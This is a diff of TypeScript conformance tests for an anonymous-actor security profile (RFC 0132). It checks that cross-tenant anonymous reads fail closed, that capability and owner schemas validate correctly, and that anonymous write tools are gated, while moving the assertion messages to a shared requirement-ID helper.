@@ -61,7 +62,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
|
|
|
61
62
|
typeof resolvedTenant === 'string' && resolvedTenant.length > 0 && resolvedTenant !== CROSS;
|
|
62
63
|
expect(
|
|
63
64
|
deniedByDecision || deniedByStatus || neutralizedToSurface,
|
|
64
|
-
|
|
65
|
+
req('openwop.it.anonymous-actor-no-secret-reach.a-cross-tenant-read-fails-closed-the-caller-supplied-tenant-is-never-resolved',
|
|
65
66
|
'SECURITY anon-actor-no-secret-reach (CTI-1 / RFC 0132 §A.2)',
|
|
66
67
|
'a cross-tenant anon read MUST fail closed — denied, or the caller-supplied tenant ignored (never resolved to the caller’s tenant)',
|
|
67
68
|
),
|
|
@@ -71,7 +72,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
|
|
|
71
72
|
if (deniedByDecision || deniedByStatus) {
|
|
72
73
|
expect(
|
|
73
74
|
res.json?.result,
|
|
74
|
-
|
|
75
|
+
req('openwop.it.anonymous-actor-no-secret-reach.a-cross-tenant-read-fails-closed-the-caller-supplied-tenant-is-never-resolved', 'SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
|
|
75
76
|
).toBeUndefined();
|
|
76
77
|
}
|
|
77
78
|
});
|
|
@@ -34,9 +34,7 @@ import { join } from 'node:path';
|
|
|
34
34
|
import Ajv2020 from 'ajv/dist/2020.js';
|
|
35
35
|
import addFormats from 'ajv-formats';
|
|
36
36
|
import { SCHEMAS_DIR } from '../lib/paths.js';
|
|
37
|
-
|
|
38
|
-
/** Server-free assertion-message helper (mirrors driver.describe without OPENWOP_BASE_URL). */
|
|
39
|
-
const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
|
|
37
|
+
import { req } from '../lib/requirement-ids.js';
|
|
40
38
|
|
|
41
39
|
function loadSchema(name: string): Record<string, unknown> {
|
|
42
40
|
return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
|
|
@@ -50,12 +48,12 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
|
|
|
50
48
|
it('the capabilities schema declares anonymousActor with its sub-flags', () => {
|
|
51
49
|
expect(
|
|
52
50
|
anon,
|
|
53
|
-
|
|
51
|
+
req('openwop.it.anonymous-actor-shape.the-capabilities-schema-declares-anonymousactor-with-its-sub-flags', 'capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
|
|
54
52
|
).toBeDefined();
|
|
55
53
|
for (const flag of ['supported', 'tiers', 'writeEgressControls', 'failClosed']) {
|
|
56
54
|
expect(
|
|
57
55
|
anon?.properties?.[flag],
|
|
58
|
-
|
|
56
|
+
req('openwop.it.anonymous-actor-shape.the-capabilities-schema-declares-anonymousactor-with-its-sub-flags', 'capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
|
|
59
57
|
).toBeDefined();
|
|
60
58
|
}
|
|
61
59
|
});
|
|
@@ -68,7 +66,7 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
|
|
|
68
66
|
// Positive — read-only tier.
|
|
69
67
|
expect(
|
|
70
68
|
validate({ supported: true, tiers: ['read'], failClosed: true }),
|
|
71
|
-
|
|
69
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
|
|
72
70
|
).toBe(true);
|
|
73
71
|
// Positive — bounded-write-egress tier with a mandatory control.
|
|
74
72
|
expect(
|
|
@@ -78,33 +76,33 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
|
|
|
78
76
|
writeEgressControls: ['hitl'],
|
|
79
77
|
failClosed: true,
|
|
80
78
|
}),
|
|
81
|
-
|
|
79
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
|
|
82
80
|
).toBe(true);
|
|
83
81
|
|
|
84
82
|
// Negative — empty tiers (minItems: 1).
|
|
85
83
|
expect(
|
|
86
84
|
validate({ supported: true, tiers: [] }),
|
|
87
|
-
|
|
85
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
|
|
88
86
|
).toBe(false);
|
|
89
87
|
// Negative — write tier without a control (the §B.2 conditional-MUST).
|
|
90
88
|
expect(
|
|
91
89
|
validate({ supported: true, tiers: ['bounded-write-egress'] }),
|
|
92
|
-
|
|
90
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
|
|
93
91
|
).toBe(false);
|
|
94
92
|
// Negative — controls advertised without the write tier (§B.2 else branch).
|
|
95
93
|
expect(
|
|
96
94
|
validate({ supported: true, tiers: ['read'], writeEgressControls: ['hitl'] }),
|
|
97
|
-
|
|
95
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
|
|
98
96
|
).toBe(false);
|
|
99
97
|
// Negative — supported: false (the block is omitted when unsupported, const: true).
|
|
100
98
|
expect(
|
|
101
99
|
validate({ supported: false, tiers: ['read'] }),
|
|
102
|
-
|
|
100
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
|
|
103
101
|
).toBe(false);
|
|
104
102
|
// Negative — unknown property (additionalProperties: false).
|
|
105
103
|
expect(
|
|
106
104
|
validate({ supported: true, tiers: ['read'], surface: 'wgt_abc' }),
|
|
107
|
-
|
|
105
|
+
req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
|
|
108
106
|
).toBe(false);
|
|
109
107
|
});
|
|
110
108
|
});
|
|
@@ -122,16 +120,16 @@ describe('anonymous-actor-shape: owner.principalKind (RFC 0132 §A, server-free)
|
|
|
122
120
|
const validate = ajv.compile(owner);
|
|
123
121
|
expect(
|
|
124
122
|
validate({ tenant: 'acme', principal: 'anon:sess-3f9c', principalKind: 'anonymous' }),
|
|
125
|
-
|
|
123
|
+
req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
|
|
126
124
|
).toBe(true);
|
|
127
125
|
// Absent principalKind is today's RFC 0048 behavior — still valid.
|
|
128
126
|
expect(
|
|
129
127
|
validate({ tenant: 'acme', principal: 'u_42' }),
|
|
130
|
-
|
|
128
|
+
req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0048', 'owner without principalKind MUST still validate'),
|
|
131
129
|
).toBe(true);
|
|
132
130
|
expect(
|
|
133
131
|
validate({ tenant: 'acme', principalKind: 'guest' }),
|
|
134
|
-
|
|
132
|
+
req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
|
|
135
133
|
).toBe(false);
|
|
136
134
|
});
|
|
137
135
|
});
|
|
@@ -145,7 +143,7 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
|
|
|
145
143
|
const decided = ajv.getSchema('payloads#/$defs/authorizationDecided');
|
|
146
144
|
|
|
147
145
|
it('a content-free anon grant + deny record validates against the existing $def', () => {
|
|
148
|
-
expect(decided, 'the authorizationDecided $def MUST exist (no new event minted)').toBeTruthy();
|
|
146
|
+
expect(decided, req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132', 'the authorizationDecided $def MUST exist (no new event minted)')).toBeTruthy();
|
|
149
147
|
// Grant — the §G positive example.
|
|
150
148
|
expect(
|
|
151
149
|
decided!({
|
|
@@ -155,7 +153,7 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
|
|
|
155
153
|
allowed: true,
|
|
156
154
|
reason: 'anon-granted',
|
|
157
155
|
}),
|
|
158
|
-
|
|
156
|
+
req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132 §D', 'a conforming anon grant record MUST validate'),
|
|
159
157
|
).toBe(true);
|
|
160
158
|
// Deny — a not-granted tool.
|
|
161
159
|
expect(
|
|
@@ -166,13 +164,13 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
|
|
|
166
164
|
allowed: false,
|
|
167
165
|
reason: 'anon-not-granted',
|
|
168
166
|
}),
|
|
169
|
-
|
|
167
|
+
req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132 §D', 'a conforming anon deny record MUST validate'),
|
|
170
168
|
).toBe(true);
|
|
171
169
|
});
|
|
172
170
|
|
|
173
171
|
it('authorization.decided is in the RunEventType enum (the reused audit event)', () => {
|
|
174
172
|
const runEvent = loadSchema('run-event.schema.json');
|
|
175
173
|
const enumVals = (runEvent.$defs as Record<string, { enum?: string[] }>).RunEventType?.enum ?? [];
|
|
176
|
-
expect(enumVals).toContain('authorization.decided');
|
|
174
|
+
expect(enumVals, req('openwop.it.anonymous-actor-shape.authorization-decided-is-in-the-runeventtype-enum-the-reused-audit-event', 'RFC 0132', 'authorization.decided is in the RunEventType enum (the reused audit event)')).toContain('authorization.decided');
|
|
177
175
|
});
|
|
178
176
|
});
|
|
@@ -22,8 +22,9 @@
|
|
|
22
22
|
|
|
23
23
|
import { describe, it, expect } from 'vitest';
|
|
24
24
|
import { behaviorGate } from '../lib/behavior-gate.js';
|
|
25
|
-
import { driver } from '../lib/driver.js';
|
|
26
25
|
import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
|
|
26
|
+
import { req } from '../lib/requirement-ids.js';
|
|
27
|
+
import { softSkip } from '../lib/soft-skip.js';
|
|
27
28
|
|
|
28
29
|
const PROFILE = 'openwop-anonymous-actor';
|
|
29
30
|
|
|
@@ -34,7 +35,7 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
|
|
|
34
35
|
if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
|
|
35
36
|
|
|
36
37
|
const res = await anonDispatch({ tool: 'lead.capture', args: { email: 'visitor@example.com' } });
|
|
37
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
|
|
38
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
|
|
38
39
|
|
|
39
40
|
const controls = cap?.writeEgressControls ?? [];
|
|
40
41
|
const decided = res.json?.authorizationDecided?.payload;
|
|
@@ -44,11 +45,11 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
|
|
|
44
45
|
// With a HITL control the write MUST suspend on an approval interrupt before durable write.
|
|
45
46
|
expect(
|
|
46
47
|
suspended,
|
|
47
|
-
|
|
48
|
+
req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
|
|
48
49
|
).toBe(true);
|
|
49
50
|
expect(
|
|
50
51
|
res.json?.result,
|
|
51
|
-
|
|
52
|
+
req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
|
|
52
53
|
).toBeUndefined();
|
|
53
54
|
} else {
|
|
54
55
|
// With only a rate-limit/session-cap control, the seam surfaces a gate; an
|
|
@@ -56,7 +57,7 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
|
|
|
56
57
|
const gatedOrDenied = suspended || decided?.allowed === false || res.status === 429;
|
|
57
58
|
expect(
|
|
58
59
|
gatedOrDenied,
|
|
59
|
-
|
|
60
|
+
req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
|
|
60
61
|
).toBe(true);
|
|
61
62
|
}
|
|
62
63
|
});
|
|
@@ -67,16 +68,16 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
|
|
|
67
68
|
if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
|
|
68
69
|
// Probe a surface deliberately configured with a write grant but no control.
|
|
69
70
|
const res = await anonDispatch({ tool: 'lead.capture', surface: 'sample-uncontrolled-surface' });
|
|
70
|
-
if (res.status === 404 || res.status === 405) return; // seam unwired / surface absent — soft-skip
|
|
71
|
+
if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired / surface absent — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired / surface absent — soft-skip
|
|
71
72
|
const decided = res.json?.authorizationDecided?.payload;
|
|
72
73
|
expect(
|
|
73
74
|
decided?.allowed === false || res.status === 403 || res.status === 429,
|
|
74
|
-
|
|
75
|
+
req('openwop.it.anonymous-actor-write-gated.an-anon-write-with-no-resolvable-control-is-denied-with-a-machine-reason', 'SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
|
|
75
76
|
).toBe(true);
|
|
76
77
|
if (decided && decided.allowed === false) {
|
|
77
78
|
expect(
|
|
78
79
|
decided.reason,
|
|
79
|
-
|
|
80
|
+
req('openwop.it.anonymous-actor-write-gated.an-anon-write-with-no-resolvable-control-is-denied-with-a-machine-reason', 'RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
|
|
80
81
|
).toBe('anon-write-ungated');
|
|
81
82
|
}
|
|
82
83
|
});
|